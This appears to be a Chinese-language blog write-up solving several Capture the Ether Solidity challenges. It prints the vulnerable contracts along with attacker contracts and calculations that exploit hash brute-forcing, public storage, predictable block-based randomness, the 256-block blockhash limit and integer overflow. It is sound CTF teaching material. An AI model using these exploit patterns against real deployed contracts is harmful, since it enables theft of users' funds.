interested in blockchain security
Share Dialog

Subscribe to Banana69
pragma solidity ^0.4.21;
contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
function GuessTheSecretNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (keccak256(n) == answerHash) {
msg.sender.transfer(2 ether);
}
}
}
这道题目需要猜一个uint8的变量经过keccak256后的值与answerHash相等,由于uint8的范围是0-255,所以写一个爆破的智能合约就可以解出最后的答案
//爆破合约
contract crack {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
uint8 public result;
function crackresult() returns (uint8) {
for (uint8 i = 0; i <= 255; i++) {
if (keccak256(i) == answerHash) {
result = i;
return i;
}
}
}
}
//result = 170
pragma solidity ^0.4.21;
contract GuessTheRandomNumberChallenge {
uint8 answer;
function GuessTheRandomNumberChallenge() public payable {
require(msg.value == 1 ether);
answer = uint8(keccak256(block.blockhash(block.number - 1), now));
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
这道题中的answer在构造函数中进行了初始化,所以根据solidity的存储结构,变量answer的值被存储在slot0中,此时的answer作为状态变量存储在storage中,所以可以使用web3js在微storage中读取
web3.js.getStorageAt("contract Address", 0, console.log)
pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
contract attacker {
function attack() public payable {
uint8 result = uint8(keccak256(block.blockhash(block.number - 1), now));
GuessTheNewNumberChallenge target = GuessTheNewNumberChallenge(0x4779f53F8141Ab6Aa7414CAB3A2184Cc4c32C56A);
target.guess.value(1 ether)(result);
}
function () public payable {
}
}
这道题需要获取到前一个区块的hash与当前的时间戳,由于每个区块包含很多个交易,而同一个区块的交易的前一个区块hash与时间戳都是相等的,所以可以通过部署另一个合约,从该合约调用目标合约中的guess函数使这俩个交易在一个块内。
pragma solidity ^0.4.21;
contract PredictTheFutureChallenge {
address guesser;
uint8 guess;
uint256 settlementBlockNumber;
function PredictTheFutureChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}
这道题生成随机数的方式与上一题相同,不同点在于需要在lockInGuess函数处输入guess的值,然后settlementBlockNumber函数限制了在settle()函数中生成hash的块必须在lockInGuess块之后,所以无法直接调用settle()函数,由于最后获取hash值的方法为模10运算,因此answer的范围是0-9,因此可以利用爆破的方法来解决这道题。
思路:
由于题目中锁定用户用的是msg.sender,所以需要部署一个攻击合约来随便猜一个数字,首先在攻击合约中调用lockInGuess函数,将猜的数字作为该函数的参数发送。
调用攻击合约中的爆破函数计算hash值与上一步猜的数字是否相等,当此块的信息得到的answer与我们猜的guess相同时我们再调用settle函数,以免guesser被清零。
攻击合约:
contract attacker {
PredictTheFutureChallenge target;
uint public result;
function attacker() public payable {
target = PredictTheFutureChallenge(0x1B67a75C3A4754d2586697722C36f181B7b82f5d);
target.lockInGuess.value(1 ether)(8);
}
function exploit() public payable {
result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
if (result == 8) {
target.settle();
}
}
function () public payable {
}
}
pragma solidity ^0.4.21;
contract PredictTheBlockHashChallenge {
address guesser;
bytes32 guess;
uint256 settlementBlockNumber;
function PredictTheBlockHashChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(bytes32 hash) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = hash;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
bytes32 answer = block.blockhash(settlementBlockNumber);
guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}
这道题与上一题基本类似,不一样的地方在于需要猜当前块的 hash,但是对于block.blockhash这个函数,可以获取给定区块号的 hash 值,但只支持最近的 256 个区块,对于 256 个区块之外的区块,block.blockhash函数都将返回 0,所以可以先传递 guess为 0,然后等待 256 个区块再调用settle函数即可,具体代码如下:
pragma solidity ^0.4.21;
contract PredictTheBlockHashChallenge {
address guesser;
bytes32 guess;
uint256 settlementBlockNumber;
function PredictTheBlockHashChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(bytes32 hash) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = hash;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
bytes32 answer = block.blockhash(settlementBlockNumber);
guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}
contract attacker {
PredictTheBlockHashChallenge target;
uint public result;
uint public num;
function attacker() public payable {
target = PredictTheBlockHashChallenge(0xCF221473d9F6Ae7b95D47710776f5e7733C745F3);
target.lockInGuess.value(1 ether)(0);
num = block.number
}
function exploit() public payable {
if(block.number - num > 256) {
target.settle();
}
}
function () public payable {
}
}
pragma solidity ^0.4.21;
contract TokenSaleChallenge {
//题目中定义了一个虚拟代币,通过mapping来追踪地址的代币数额
mapping(address => uint256) public balanceOf;
uint256 constant PRICE_PER_TOKEN = 1 ether;
//和合约同名的构造函数,要求合约的初始余额为1 ether,
function TokenSaleChallenge(address _player) public payable {
require(msg.value == 1 ether);
}
//判断完成的条件要求合约中的余额小于 1 ether
function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}
//定义了买入token的方法,买入后更新mapping
function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);
balanceOf[msg.sender] += numTokens;
}
//定义了卖出token的方法
function sell(uint256 numTokens) public {
require(balanceOf[msg.sender] >= numTokens);
balanceOf[msg.sender] -= numTokens;
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
}
}
首先分析题目,题目中定义了一个虚拟代币,通过mapping来追踪地址的代币数额,TokenSaleChallenge 是和合约同名的构造函数,要求合约的初始余额为1 ether,当合约中的余额小于1 ether时完成题目。
由于买入多少币才能卖出多少币,所以如果想要能转出的买入的更多,就要求在买入的时候上溢,恰好这个合约没有safemath,存在溢出漏洞。
当买入的 token 小于 卖出的token 时可以利用溢出漏洞达到完成条件。
在buy函数中的的 判断require(msg.value == numTokens * PRICE_PER_TOKEN);,造成溢出需要当msg.value足够小,numTokens足够大,而 PRICE_PER_TOKEN ==1 ether=10^18 wei,所以当numTokens * 10^18 >= 2^256时会上溢出
// msg.value == numTokens * PRICE_PER_TOKEN
计算刚好造成上溢出的 numToken
//这里不加1的话计算出来的msg.value会非常大无法发送(115792089237316195423570985008687907853269984665640564039457000000000000000000)
numTokens = 2^256/(10^18) + 1 = 115792089237316195423570985008687907853269984665640564039458
msg.value = numTokens * 10^18 % (2^256) = 415992086870360064 wei
因为需要以wei为单位发送 ether,所以需要在 Remix 中部署合约,调用buy 函数相当于以较小的msg.value获取到了大量的token,而这些token可以在sell函数中能够以 1 ether 的兑换率被转出, 就相当于以 0.4 ether 充值了相当于 1 ther 的token最后将这些token卖出,合约中的余额就会减少 1 ether,就达成了完成的条件。
<100 subscribers